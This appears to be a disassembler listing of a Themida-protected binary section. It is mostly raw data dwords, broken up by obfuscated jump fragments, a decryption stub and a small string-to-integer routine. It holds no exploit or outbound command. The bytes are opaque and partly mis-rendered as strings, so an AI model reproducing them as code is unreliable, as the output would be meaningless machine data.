8AD8D89h dd 0DB800645h, 858D61B6h, 647A84Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0F1C35242h, 0D8611B2Fh, 14E8h dd 84016200h, 6420A6A6h, 0F3806E40h, 0FB8F8E04h, 46BAE428h dd 0A5958B69h, 5A064520h, 4DB6B58Bh, 8B520645h, 0D0FF5BDFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 41C35747h dd 8E0F7CADh, 2, 85C6D88Bh, 6451829h, 1958B54h, 6806452Fh dd 0CC6F20DBh, 0BA525050h, 5F1B0D17h, 5250310Fh, 585A310Fh dd 815A585Ah, 9E192404h, 0FFF832DFh, 450985B5h, 68D0F06h dd 89000000h, 452B69B5h, 0FB858D06h, 89064539h, 450115B5h dd 89D0FF06h, 4517658Dh, 8E806h, 973F0000h, 0E31D8651h dd 830FD089h, 6, 2BB9952Bh, 6A5A0645h, 6AD78B00h, 0DAB70FFFh dd 8D89D0FFh, 6452B69h, 10A1B5FFh, 0EEBA0645h, 0FF6ACC4Ah dd 45011D95h, 0DA816606h, 0B58B360Dh, 6454DB6h, 0C9958B50h dd 5B064503h, 61CA81C3h, 8B20A3B3h, 452F51B5h, 99D2906h dd 0B06451Dh, 2D840FF6h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 814FC350h dd 11E59D89h, 0B70F0645h, 6C6DBh, 0B8BCBA66h, 4DBE8589h dd 85890645h, 6451335h, 0F00F883h, 31184h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0D06F513Eh, 5F0808ABh, 4559D8Bh, 66F50645h, 0B8DF8Bh dd 89000000h, 4511B195h, 0F88306h, 0C7840Fh, 8D890000h dd 645258Dh, 2830Fh, 0D18B0000h, 0F02F883h, 8085h, 0B6E28100h dd 8D7662A1h, 45443985h, 2DD18B06h, 929h, 0BE8h, 0F91B2700h dd 6AE03203h, 5D8436E9h, 2D019D03h, 905A0645h, 8B5089B7h dd 6A90DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 8FDDC8C3h, 0C870Fh, 7E90000h, 35000000h dd 0B85F5A70h, 13E9FAD0h, 6000000h, 35AD707Eh, 70D0031h dd 65579227h, 0EC32B726h, 81C320C1h, 0A400DBF3h, 0B82Fh dd 0BD290000h, 6451025h, 229E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7775E848h dd 1B853h, 0BB660000h, 0BD8DB072h, 645443Eh, 2EED958Bh dd 0F0B70645h, 0B7E9h, 8E900h, 0CB340000h, 487312C8h, 0F883C3FBh dd 1A850F02h, 8B000000h, 4517DD9Dh, 36BD8D06h, 31064546h dd 4501D99Dh, 8AE906h, 8B660000h, 3F883D3h, 42850Fh, 8B660000h dd 0CABD8DD7h, 6A064547h, 3E85300h, 20000000h, 895BC35Bh dword_545350 dd 8104245Ch, 1B042444h, 43000000h, 4D67C353h, 0DEDB30ADh ; DATA XREF: ___:off_43CCE4o dd 0F3815155h, 5F1012E8h, 0F19D8B50h, 5A064525h, 3FE9h dd 0DBBF0F00h, 0F05F883h, 3385h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0D9E9375Dh dd 8B000000h, 4530C59Dh, 58C0F06h, 0BA000000h, 27DD0761h dd 56006A57h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 23122F32h, 45326D95h, 4D958B06h, 0B9064519h dd 5492469Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0BDC35747h, 62E3A099h, 0A6DE7A4Dh, 8356CA80h, 840F003Fh dd 68h, 11399D8Bh, 0F300645h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0FEC35141h, 2B19501h, 0C9D10645h dd 50006A47h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 8BF40132h, 79958BA3h, 0BA06452Ch, 23E72C2Ah dd 0FFFF9AE9h, 5810FFFh, 0BB000000h, 773CF59Dh, 0F05F883h dd 6585h, 13E900h, 35460000h, 16506D9Ch, 1E094BF2h, 8D5399CEh dd 19FD3F59h, 0E9B509B6h, 66064516h, 870FD98Ch, 6, 261D8D09h dd 0C1F60645h, 14850F04h, 0F000000h, 0B8DEB7h, 29000000h dd 4518399Dh, 1CE906h, 8BF90000h, 45029185h, 0E0FFF506h dd 0DE9h, 2E55ED00h, 6E88082Bh, 49BD9E78h, 0BD83CA41h dd 645011Dh, 13850F00h, 66000001h, 123DD281h, 87BA6690h dd 8A0F5039h, 5, 0FBC99BBAh, 6A9047h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0B12CFCC3h dd 555DA92Ah, 2983995Eh, 45130DB5h, 2985C606h, 45064518h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A4C35141h dd 8A4D46A6h, 0B52950F0h, 6453365h, 4E85Ah, 69690000h dd 5B568E72h, 0AE950h, 93580000h, 0EB8ABE7Bh, 6B5CA403h dd 424448Bh, 8BD38B66h, 89F1B300h, 8B042444h, 9E958D8h dd 79000000h, 2EA8A3D5h, 0B9BE4840h, 985B5FFh, 9D890645h dd 6452431h, 39FB858Dh, 86B20645h, 958BD0FFh, 6450B95h dd 11D8589h, 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 8859DCC3h, 880FCD09h, 0 dd 8850Fh, 8B520000h, 4517B19Dh, 80585B06h, 8F0FC9DEh dd 6, 1D759529h, 0BD830645h, 6454E0Dh, 5E840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0AC6BC352h, 3A4EAE01h, 9D8B54FAh, 645188Dh dd 0A28ABA66h, 10A1B5FFh, 0B5310645h, 6450461h, 11D95FFh dd 6A0645h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 531787C3h, 0F8835Ah, 103850Fh, 958B0000h dd 645243Dh, 995BD83h, 0F000645h, 9084h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0BD89D963h, 6451CBDh, 0B5FFF8B2h, 6450995h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DCC35141h, 1330D574h dd 894AD8DDh, 4518D185h, 1B806h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 4D6D13C3h dd 6DB58960h, 89064523h, 4528B99Dh, 0E4E96106h, 23000001h dd 452B1595h, 0A1B5FF06h, 0F064510h, 0B5FFDEB7h, 64510A1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 1C35040h dd 861AB07h, 499D096Eh, 0FF064518h, 45011DB5h, 8E906h dd 4A510000h, 3F815DBDh, 90E92095h, 8B000001h, 45044D95h dd 6860F06h, 8B000000h, 4504A995h, 0EB815F06h, 28AA1C66h dd 7B1BD83h, 0F000645h, 0FE85h, 7D958900h, 0C6064501h dd 45182985h, 9D8B4D06h, 6451CB1h, 4E8h, 3576A800h, 6840FA4h dd 50000000h, 0AB53BA66h, 8B66505Bh, 24448BD3h, 850F5704h dd 3, 5BD88B66h, 4489008Bh, 14E80424h, 0A000000h, 95F9B503h dd 1A752DBAh, 6310F14Bh, 0DB65AADCh, 66399DFDh, 5B365CBBh dd 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 6E80Bh, 5DCF0000h, 5929112Bh, 5BDA8B66h dd 68A0F51h, 9000000h, 4520F98Dh, 0B5FF5A06h, 6452BE5h dd 29919589h, 858D0645h, 64539FBh, 6219533h, 0D0FF0645h dd 12F99589h, 11E90645h, 1000000h, 46B41F2Eh, 67B0C733h dd 799AEA8Ah, 0F92DB6B3h, 7B18589h, 6A0645h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 80AAE9C3h dd 8CFF9CDFh, 0DF8B40B2h, 0B84AEA80h, 0 dd 0BD89D18Bh, 6454DB6h, 0BDF8B66h, 27840FC0h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0E950C351h, 33h, 0A259D8Bh, 0B5FF0645h, 645011Dh dd 68C0Fh, 95330000h, 6452141h, 0A84B858Dh, 9E90647h, 0F000000h dd 0C35979A0h, 0B1D3F618h, 897EB350h, 50F92404h, 42BD8D56h dd 8D064555h, 4579A58Dh, 23BCB806h, 0CF2B7483h, 0C8D00730h dd 0F8754947h, 0BD83585Eh, 6450995h, 8B067400h, 4508B98Dh dd 0B8C93306h, 0 dd 840FC00Bh, 99h, 1749BD83h, 74000645h, 5D95FF06h, 0B806451Eh dd 0 dd 975C00Bh, 4DBEBD83h, 74010645h, 0BEBD8309h, 206454Dh dd 0B58B0E75h, 6454DB6h, 0A84B858Dh, 0D0FF0647h, 421C858Dh dd 0D0FF0645h, 2469BD83h, 75020645h, 1A58B2Fh, 8B064524h dd 45099585h, 24048906h, 3F985C7h, 10645h, 0B58B0000h dd 6454DBAh, 14C5AD8Bh, 1B80645h, 0C2000000h, 0EB000Ch dd 3F985C7h, 10645h, 0A58B0000h, 6452401h, 154DB58Bh, 0AD8B0645h dd 64514C5h, 0CC2C033h, 0E1BD8300h, 64505h, 0BD830F74h dd 6450B05h, 0FF067400h, 450B0595h, 0B6B58B06h, 0C306454Dh dd 2850FFCh, 8B000000h, 8BD22BDAh, 81950BD6h db 0Dh, 45h, 6 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_545A1B ; --------------------------------------------------------------------------- loc_545A19: ; CODE XREF: Themida_:00545A1Ej inc eax inc edi loc_545A1B: ; CODE XREF: Themida_:00545A17j cmp byte ptr [edi], 0 jnz short loc_545A19 xor ecx, ecx mov edi, [ebp+8] jmp short loc_545A4A ; --------------------------------------------------------------------------- loc_545A27: ; CODE XREF: Themida_:00545A4Cj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_545A3F ; --------------------------------------------------------------------------- loc_545A3C: ; CODE XREF: Themida_:00545A42j mul ebx dec esi loc_545A3F: ; CODE XREF: Themida_:00545A3Aj cmp esi, 0 ja short loc_545A3C pop ebx add ecx, eax pop eax inc edi dec eax loc_545A4A: ; CODE XREF: Themida_:00545A25j or eax, eax jnz short loc_545A27 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 21858B60h, 8B064520h, 451EC1B5h, 0C18B6106h, 22348E9h dd 5A003F00h, 2, 5A002800h, 5B002402h, 5B002400h, 12FF6800h dd 5AFB3200h, 20200h, 200h, 100h, 300h, 0EDF7300h, 0FAh dd 4 dup(0) dd 54927500h, 55069900h, 54839300h, 54CB1D00h, 5479C300h dd 54A16800h, 54B42800h, 54649D00h, 54C9ED00h, 54E86C00h dd 5495C100h, 54B7ED00h, 54690C00h, 55191100h, 545ED900h dd 54AC8500h, 5478A000h, 54781D00h, 54F49200h, 54A13F00h dd 54836500h, 54EAC700h, 54DC5400h, 54F53D00h, 54917D00h dd 54BDA200h, 54CA8800h, 547C4C00h, 54A18D00h, 54E84100h dd 54656E00h, 54996500h, 54B33400h, 54A3FB00h, 54B89F00h dd 54781600h, 547C5900h, 54A38600h, 54FAC700h, 54BED800h dd 54E2E900h, 54D23400h, 547A8D00h, 550E9100h, 5478AE00h dd 54BCD400h, 54A7F900h, 55208900h, 55129800h, 54A83A00h dd 54FAFD00h, 55032B00h, 551CB900h, 54D02000h, 55203400h dd 546B2900h, 5515C100h, 54FB1100h, 54C5A400h, 54D25700h dd 549BAD00h, 54EF4E00h, 54F61700h, 54759E00h, 545F3600h dd 55170100h, 54EC6000h, 54FFAE00h, 55193E00h, 54EFAE00h dd 54B8F600h, 54613100h, 54789800h, 546F7000h, 54A0A900h dd 54624900h, 54F07D00h, 54ACB900h, 54C65900h, 54E2FA00h dd 54873700h, 54D10500h, 54E28400h, 54B30300h, 549CCE00h dd 54834000h, 548B3A00h, 54ED5A00h, 54B91700h, 54F60800h dd 54707200h, 548AE900h, 55067D00h, 54DB2F00h, 550DAA00h dd 5498B800h, 5465B200h, 55155B00h, 5475DD00h, 5462B300h dd 5505CD00h, 55159E00h, 54C84300h, 546F5D00h, 54A5BF00h dd 54919F00h, 54865600h, 54AC5C00h, 54E25A00h, 5496F000h dd 549CA800h, 54899D00h, 54C3C500h, 54F13700h, 54F9A900h dd 54D4CC00h, 54CBB000h, 54696D00h, 54D16300h, 54B60100h dd 5486FA00h, 54B71100h, 54742B00h, 54784C00h, 547D0A00h dd 54DCD700h, 54AC0300h, 54ABB000h, 54936600h, 54EEDE00h dd 548ADF00h, 54A8A100h, 54C48500h, 54F19B00h, 54ECD300h dd 5481B100h, 54E88D00h, 54828B00h, 54EEB100h, 54E70C00h dd 54803F00h, 55183800h, 54AE6F00h, 54700400h, 550A9600h dd 5476B900h, 55066200h, 5462AB00h, 54BCBF00h, 54951B00h dd 54B90400h, 5495B700h, 54BDB000h, 54C8EA00h, 55057000h dd 5475F200h, 550EF300h, 54FECA00h, 5467D300h, 54CCD100h dd 54D81300h, 54666F00h, 54BC2700h, 54E64D00h, 551D5200h dd 5501BC00h, 54DA5600h db 0 ; --------------------------------------------------------------------------- loc_545D4D: ; CODE XREF: Themida_:005729B8j ; Themida_:005943ABj ... pusha pushf cld call $+5 pop edi sub edi, 6457DE2h mov eax, edi add edi, 6457AFAh cmp eax, [edi+2Ch] jnz short loc_545D6B jmp short loc_545D7E ; --------------------------------------------------------------------------- loc_545D6B: ; CODE XREF: Themida_:00545D67j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_545D7A ; --------------------------------------------------------------------------- loc_545D75: ; CODE XREF: Themida_:00545D7Cj add [edi+ecx*4+40h], eax dec ecx loc_545D7A: ; CODE XREF: Themida_:00545D73j or ecx, ecx jnz short loc_545D75 loc_545D7E: ; CODE XREF: Themida_:00545D69j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_545D8B: ; CODE XREF: Themida_:00545D92j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_545D8B loc_545D94: ; CODE XREF: Themida_:00548811j ; Themida_:loc_5497E4j ... lodsb xor al, bl jmp loc_549565 ; --------------------------------------------------------------------------- loc_545D9C: ; CODE XREF: Themida_:0054E1ADj mov ecx, ebp jmp loc_546DDF ; --------------------------------------------------------------------------- loc_545DA3: ; CODE XREF: Themida_:0054DB16j mov esi, ebx jmp loc_54862D ; --------------------------------------------------------------------------- dw 0E5C0h dd 888EE906h, 0C0830000h, 24048704h, 0BF57555Ch, 60ED2CC1h dd 5A9BF781h, 0F78148C5h, 779C489Eh, 0BD55DFF7h, 4CD06F7Eh dd 5D28E581h, 0BA525175h, 26007BBDh, 7469E9h, 81E38900h dd 4C3h, 4BA5200h, 0E9000000h, 0A2ECh, 0E99DE680h, 0AB2Fh dd 241C335Eh, 33241C31h, 248B241Ch, 0BFC28124h, 0E975A650h dd 7B4Eh, 2C481h, 44E90000h, 3300000Fh, 34312434h, 24343324h dd 2404D35Ch, 0FF5EE99Ch, 8F5FFFFFh, 248B2404h, 360CE924h dd 0DCF60000h, 22BBE9h, 22076800h, 51E90000h, 0C1000098h dd 0C78108E7h, 9A047104h, 1F9BE9h, 8E3C100h, 7327BF57h dd 0E7813253h, 1B5C05B6h, 241CF757h, 84C4E95Fh, 89570000h dd 0AAE951E7h, 1000024h, 49E959C8h, 800000C1h, 15E9DEF2h dd 0BD000089h, 0C8B91207h, 351E9h, 0E9515200h, 31D6h, 8A24C0FEh dd 1E9C20Ch, 81000045h, 6D2419EFh, 3C875B09h, 39E95C24h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545EBF: ; CODE XREF: Themida_:0054F112j push esi jmp loc_54E320 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 8F04C483h, 248B2404h, 240C8924h, 0FFFEBBE9h, 0C8B66FFh dd 4EC8124h, 89000000h, 5F54243Ch, 6B47B951h, 0E9813846h dd 38466B43h, 0E959CF01h, 0D94h, 0E9D10158h, 359Fh, 603068h dd 243C8900h, 4BFh, 0FFFE0100h, 575F2434h, 14E95F54h, 35000094h dd 774707FBh, 0CB0E9h, 2E0C100h, 31B9FE05h, 1831E989h dd 8B660000h, 67682404h, 89000057h, 0B268243Ch, 89000069h dd 4832424h, 515F0424h, 4B9h, 0FFCF0100h, 81592434h, 4C4h dd 0BEC8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545F66: ; CODE XREF: Themida_:00546FF3j push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_54869A ; --------------------------------------------------------------------------- loc_545F7A: ; CODE XREF: Themida_:0054B4DCj pop esp shr ecx, 0Bh jmp loc_551398 ; --------------------------------------------------------------------------- db 5Fh dd 0FFFE0BE9h, 5BDF01FFh, 31243C33h, 0CDE9243Ch db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545F97: ; CODE XREF: Themida_:0054B9F8j pop ebp sub [esp+4], ebp pop ebp sub [esp], eax push ebx push edx mov edx, 2FA920DAh jmp loc_54D92B ; --------------------------------------------------------------------------- dd 4C481h, 5EE90000h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545FB7: ; CODE XREF: Themida_:00546EFBj xchg ebp, [esp] mov esp, [esp] mov [esp], ebp jmp loc_54A702 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 87000000h, 2C5C2414h, 272DE9DFh, 0DE300000h, 5AF1885Bh dd 0E1C0C9FEh, 0F6C18007h, 0C8BC800h, 5C31E924h, 29660000h dd 0D7E958C5h db 8Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545FF7: ; CODE XREF: Themida_:0054FD64j add ebx, 5FCC6E58h add ebx, ecx sub ebx, 5FCC6E58h add [ebx], eax jmp loc_54F106 ; --------------------------------------------------------------------------- dd 0B1FC181h, 525D59A1h, 986592BAh, 0E9D1310Dh, 1FAEh dd 0B03BE958h, 248B0000h, 4EC8324h, 81241C89h, 4ECh, 8427E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54603A: ; CODE XREF: Themida_:00547561j push 5E162A96h pop ebx mov ecx, 0BC99314Eh sub ecx, ebx push dword ptr [esp] jmp loc_5500D3 ; --------------------------------------------------------------------------- db 1 dd 241C8BDEh, 0E904C483h, 0CACh ; --------------------------------------------------------------------------- loc_54605C: ; CODE XREF: Themida_:0054ADD6j or edx, 55C91640h neg edx sub edx, 2F4D4FEDh sub edx, 52E59935h add edx, edi push eax push esi mov esi, 20AA39A2h mov eax, 20AA39A2h sub eax, 36017325h sub eax, esi push edi mov edi, 36017325h add eax, edi pop edi jmp loc_54D8D6 ; --------------------------------------------------------------------------- db 68h dd 38F9h, 0BE243489h, 1, 0FF1C7709h, 685E2434h, 2482h dd 0E9240C89h, 0B23Ch, 4CE95B59h, 6800008Bh, 6A234C00h dd 81240C8Bh, 4C4h, 1C18100h, 68000000h, 1868h, 52243489h dd 5B52E9h, 4C78100h, 81000000h, 4EFh, 243C8700h, 0A7C6E95Ch dd 835F0000h, 0BDE904C5h, 66000031h, 66490CBBh, 4245C01h dd 7ABE9h, 246C8100h, 0B9718704h, 2444015Eh, 87BF5704h dd 15EB971h, 5F08247Ch, 1B21E9h, 0EE814600h, 334CDB05h dd 5063E9h, 48B6600h, 0BDE95124h, 0F7000018h, 0F8C281D2h dd 89436646h, 0E9815AD1h, 31887C6Dh, 7F55BF57h, 0F9297A86h dd 0AFF1815Fh, 8149AA59h, 0B21B16C1h, 59C8292Ah, 5ED9ED81h dd 0C5011A26h, 5ED9C581h, 0C4E91A26h, 1000058h, 0EE295FFDh dd 50F3E9h, 81665D00h, 81309EE3h, 4ECh, 242C8900h, 7B6ABD66h dd 81ED8166h, 0ED816607h, 0C1661748h, 0B2E907E5h, 5F000096h dd 0E904EC83h, 8358h, 31243433h, 34332434h, 24248B24h dd 270DE9h, 241C8700h, 9851E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5461CA: ; CODE XREF: Themida_:00547E1Dj push 0C94h mov [esp], ecx push 680D0B10h push dword ptr [esp] pop ecx push ecx mov ecx, esp jmp loc_546ACD ; --------------------------------------------------------------------------- db 81h dd 4E9h, 8F8AE900h, 0C5010000h, 6EDC158h, 5D78CD81h, 0F581759Fh dd 0CA200202h, 12E9E831h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_546207: ; CODE XREF: Themida_:0054B01Cj mov [esp], edi push 1 push dword ptr [esp] pop edi add esp, 4 and eax, edi mov edi, [esp] push esi jmp loc_5513C3 ; --------------------------------------------------------------------------- dd 0E9AAC280h, 0C18h, 4B850h, 9AE90000h, 8100009Ch, 4C6h dd 650FE900h, 0E6B70000h, 7E09E9h, 0EF686600h, 0C896631h dd 74FF6624h, 15E90224h, 50000081h, 0AB3B70B8h, 0FEA3E92Dh dd 0C483FFFFh, 8BF02904h, 0C4812434h, 4, 18A2E9h, 4C48100h dd 52000000h, 1E0F0EBAh, 0BEA816Fh, 0E9687856h, 64CDh dd 8704C583h, 248B242Ch, 2434FF24h, 81240C8Bh, 4C4h, 11E95600h dd 66000071h, 0E1E932FFh, 0FFFFFFFAh, 55582434h, 522968h dd 24248900h, 4240483h, 3558E95Dh, 0E6680000h, 8900002Fh dd 68B82404h, 81553C4Ah, 0F022D3EBh, 601E915h, 0B9510000h dd 88A10D7Ch, 85E9CD29h, 8300001Fh, 0C8704C1h, 0C2805C24h dd 8BD02802h, 89502414h, 4BA52E0h, 1000000h, 0BBE95AD0h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54630F: ; CODE XREF: Themida_:0054A188j add eax, 0FFFFFFFFh jmp loc_54D7DF ; --------------------------------------------------------------------------- db 57h, 0BFh, 0F2h aZMsib db 'zΥMιB',0 align 4 dd 81C3295Ah, 8E129DEBh, 0E7BF571Dh, 10E6738h, 3CA7E9FBh dd 0C3810000h, 4, 6F1B68h, 24348900h, 8595E9h db 0 ; --------------------------------------------------------------------------- loc_54634D: ; CODE XREF: Themida_:005489D3j and ecx, 3FB073BFh push ecx jmp loc_55197F ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 885C2434h, 2FB0E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54636A: ; CODE XREF: Themida_:0054DA97j pop eax sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 0DE1h mov [esp], ebp push esp pop ebp jmp loc_550FB1 ; --------------------------------------------------------------------------- dw 0DAF7h dd 1935E942h, 0C3810000h, 0E3080924h, 505BD931h, 0A96BE9h dd 0DA222D00h, 0C329FC2Ch, 8124048Bh, 4C4h, 81C30100h dd 4ECh, 24148900h, 0CC4F70BAh, 0C1E2D138h, 0D2F702EAh dd 39D8E9h, 0B3C38100h, 56496942h, 0F90763BEh, 5EF30133h dd 30C8EB81h, 0BE564B39h, 5E7B8721h, 315EF331h, 9EE95BDDh dd 1000086h, 0ECE959CBh, 8100008Fh, 4C1h, 4C18300h, 5E91E9h dd 24048100h, 4, 83242C8Bh, 0C58104C4h, 4, 0FFFE67E9h dd 58C629FFh, 5C243487h, 68240489h, 200h, 1C470958h, 0E92434FFh dd 633Dh ; --------------------------------------------------------------------------- loc_546444: ; CODE XREF: Themida_:005512A9j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_551D64 ; --------------------------------------------------------------------------- aISz db '<$ιz#',0 dw 8300h dd 8F5404ECh, 4812404h, 424h, 5839E900h, 0BD550000h, 427E29DFh dd 6BEB951h, 0E9817494h, 3CA5567Ah, 56FBE9h, 66596600h dd 3166F131h, 0F13166CEh, 0A858E9h, 241CF600h, 0F8EEE99Ch dd 74FFFFFFh, 8F5F0424h, 895C2404h, 27E9241Ch, 52000003h dd 2A4C05BAh, 4E2C104h, 198E942h, 0E3890000h, 8DE5E9h db 0 ; --------------------------------------------------------------------------- loc_5464CD: ; CODE XREF: Themida_:0054E93Bj pop esp mov [esp], esi sub esp, 4 mov [esp], ebx mov esi, [esp] add esp, 4 jmp loc_54D4A9 ; --------------------------------------------------------------------------- dw 0BE56h dd 38593526h, 0CADE9h, 5FB95100h, 2975A846h, 9FE959C8h dd 50000045h, 1A9BBD55h, 0E8897DC8h, 5473355Dh, 0B2E9102Fh dd 0E900002Bh, 0FFFFF880h, 4EC835Dh, 0FF243C89h, 5F042474h dd 377BE9h, 8E5C100h, 4F34E9h db 0 ; --------------------------------------------------------------------------- loc_54652D: ; CODE XREF: Themida_:00546F58j pop edi sub esp, 4 jmp loc_54DFF6 ; --------------------------------------------------------------------------- aMwsqu db 'MWιq',0 align 10h loc_546540: ; CODE XREF: Themida_:005479B3j add esi, ecx pop ecx jmp loc_546AA2 ; --------------------------------------------------------------------------- dd 1528CE81h, 90E9243Eh, 0E9000023h, 0FFFFF83Ch, 0EB81EB01h dd 0E5A5B80h, 83242C8Bh, 1C3304C4h, 0E47E924h, 77FF0000h dd 58669D1Ch, 9C240410h, 0FFF817E9h db 0FFh ; --------------------------------------------------------------------------- loc_54657D: ; CODE XREF: Themida_:00550C49j mov [esp], ebp push eax jmp loc_54D305 ; --------------------------------------------------------------------------- dw 8FB1h dd 8904EC83h, 5BB22414h, 4422E9h, 242C8B00h, 5504C483h dd 4F09E9h, 0BFE95B00h, 8100001Eh, 0F518A2C2h, 6D4DE955h dd 68510000h, 1Ch, 8B2434FFh, 0E953240Ch, 0FFFFF821h, 4BA52h dd 0D0290000h, 5F2EE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5465D2: ; CODE XREF: Themida_:005499C7j push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 jmp loc_5517FF ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 4B9h, 0A28FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5465F6: ; CODE XREF: Themida_:0054F7FFj mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_54F925 ; --------------------------------------------------------------------------- loc_54660C: ; CODE XREF: Themida_:0054D28Dj pop eax not ebp xor ebp, 0DBB3C718h push ebp pop edx jmp loc_54F2FE ; --------------------------------------------------------------------------- dd 7F480h, 0E95258E6h, 5ADEh ; --------------------------------------------------------------------------- loc_546628: ; CODE XREF: Themida_:0055224Dj push edx mov edx, 7BC6396Dh jmp loc_5511AC ; --------------------------------------------------------------------------- db 66h dd 0E9240489h, 285Bh, 0FF04C483h, 8DE91C77h, 81000070h dd 0C91121C5h, 5DE831CEh, 8358C109h, 0E9D101C1h, 9BDAE952h dd 0E2C10000h, 0C2814A07h, 0BE2345E6h, 2EE9D709h, 6600006Eh dd 8324048Bh, 0C8904ECh, 83595424h, 3C8904ECh, 1D32BF24h dd 814F1130h, 377D4FE7h, 8864E90Ah, 0EC830000h, 241C8904h dd 61C3E9h, 4E98100h, 33000000h, 0C31240Ch, 0AE17E924h dd 0BD550000h, 2A26F447h, 0E95DEF29h, 4F6Fh ; --------------------------------------------------------------------------- loc_5466BC: ; CODE XREF: Themida_:0054B7B9j add ebp, 2 xchg ebp, [esp] pop esp push ecx mov cl, 2Dh xor cl, 58h jmp loc_54B7DD ; --------------------------------------------------------------------------- dw 48Fh dd 0F950E924h, 0E830FFFFh, 26C5E9h, 696800h, 14890000h dd 260BBA24h, 6AE91F1Eh, 81000050h, 4C2h, 4C28300h, 60C0E9h dd 2474FF00h, 48F5A04h, 24248B24h, 24048966h, 0FFF683E9h dd 3E4C0FFh, 80AAEC80h, 0E22806EAh, 5806C280h, 8008E2C0h dd 50532AC2h, 13E934B4h, 89000078h, 4C281E2h, 0E9000000h dd 16Dh, 3901A6BFh, 81DFF709h, 311792E7h, 7ACEE956h, 0C310000h dd 240C3324h, 240C895Ch, 7CD2E9h, 0E9DF8900h, 93DDh, 358DE381h dd 0C381496Bh, 0FFFFFFFFh, 0C101EB83h, 0EB8102EBh, 0F050B36Bh dd 815BDA21h, 771600F2h, 20556829h, 0C890000h, 5962B924h dd 41E95AA6h db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546797: ; CODE XREF: Themida_:00548F30j add edx, 1F4A5E71h sub edx, eax jmp loc_550B38 ; --------------------------------------------------------------------------- dd 0E913CD80h, 6125h, 904C483h, 50E2D1C2h, 7D1FE9h, 24143300h dd 0E924248Bh, 0FFFFFA97h, 4C4815Eh, 0C1000000h, 0D6E906E8h dd 66FFFFFBh, 372D66ADh, 8370E910h, 0E3890000h, 4C381h dd 0BF570000h, 4, 45E2C381h, 0FB0100A4h, 45E2EB81h, 3C8B00A4h dd 4C48124h, 33000000h, 5CE9241Ch, 8B00007Dh, 0C4812404h dd 4, 2C281h, 14870000h, 24248B24h, 9C2424D3h, 0FFF56BE9h dd 240C33FFh, 4C4835Ch, 0FFFCADE9h db 0FFh ; --------------------------------------------------------------------------- loc_546835: ; CODE XREF: Themida_:00551F56j push edx jmp loc_54C2B9 ; --------------------------------------------------------------------------- loc_54683B: ; CODE XREF: Themida_:0054B7E8j pop ecx jmp loc_54A445 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0A4h dd 2962F72Eh, 5A042454h, 5219E9h, 0E9D33100h, 9511h, 0C281DAF7h dd 613BC600h, 32C0EE81h, 0D601279Fh, 52E4E9h db 0 ; --------------------------------------------------------------------------- 